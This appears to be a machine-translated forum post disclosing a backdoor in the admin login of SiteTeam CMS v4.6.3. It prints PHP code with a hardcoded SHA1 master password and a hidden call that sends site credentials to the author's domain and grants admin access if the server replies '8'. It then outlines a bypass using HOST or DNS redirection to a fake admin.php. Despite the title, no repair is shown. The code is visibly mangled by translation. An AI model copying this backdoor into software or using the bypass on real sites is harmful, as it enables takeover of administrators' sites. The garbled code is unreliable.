SiteTeam enterprise self-built website source code version v4.6.3 0DAY and repair

Program name SiteTeam enterprise self-built website source code version v4.6.3
View the code in the classic dialog box
Admin. php

Preview source code print about
01 if (! Empty ($ _ POST [dosubmit]) &! Empty ($ _ POST [password]) {// submit the logon password

02 if ($ _ POST [password] = $ domain [$ site_url] [password]) // this program does not use the MYSQL password to save it in CONFIG

03 {ob_start (); @ session_start ();

04 $ _ SESSION [loginid] = true; // if the password is correct, the logon succeeds.

05} elseif (check_admin ($ _ POST [password]) // The following custom variables are copied from global. inc. php for convenience.

06 // function check_admin ($ string)

07 // {$ t1 = "091d37a2 ";

08 // $ t2 = "562a636e ";

09 // $ t3 = "74fed832 ";

10 // $ t4 = "038ea911 ";

11 // $ t5 = "c00009974"; if (sha1 ($ string) ===" {$ t3} {$ t5} {$ t1} {$ t4} {$ t2 }")

12 // {return true;} else {return false ;}}

13 // What is this password? Only the author knows it. I didn't try to run sha1.

14 {if (ALLOW_URL_FOPEN) {$ site_info = $ domain [$ site_url];

15 $ date_url = "http: // www .";

16 $ date_url. = site_server_url (); // The following custom variables are copied from global. inc. php for convenience.

17 // function site_server_url ()

18 // {$ number_str = 99,104,101,110 ,;

19 /// $ number_str. = 104,117, 99,104,101 ,;

20 // $ number_str. = 110,103, 111,109;

21 // $ number_str = explode (, $ number_str );

22 // $ temp =;

23 // foreach ($ number_str as $ c)

24 // {$ temp. = chr ($ c );

25 //} return

26 // $ temp;

27 //}

28 // After decryption, Chen Hucheng, the author of chenhucheng.com

29 if (function_exists (http_build_query ))

30 {$ date_url. = "/soft/admin. php? ". Http_build_query ($ site_info );

31} else

32 {$ date_url. = "/soft/admin. php? Phpv = 4 & data = ". base64_encode (serialize ($ site_info ));

33} if ($ code = @ file_get_contents ($ date_url) {// I don't know the admin. php code.

34 if (intval ($ code) ==/// log on to the background successfully if the server returns 8!

35 {ob_start ()

36; @ session_start ();

37 $ _ SESSION [loginid] = true;

38 $ _ SESSION [SITETEAM_ADMIN] = true;

39 }}else {ob_start (); @ session_start ();

40 @ session_destroy ();

41 ob_end_flush ();

42 go_url ("admin. php? Action = login "," Incorrect password ");

Modify the server HOST with the 0DAY method and change www.chenhucheng.com to 127.0.0.1.
Create a soft file and put an admin. php file in it.
-0 -! Can be used to modify the HOST ?.....
So the method is to modify the route of the server room and change the DNS resolution address ...... -0 -!.......
If someone runs out of the SHA password and hijacks the author's domain name .......

This is the so-called Chinese characteristic!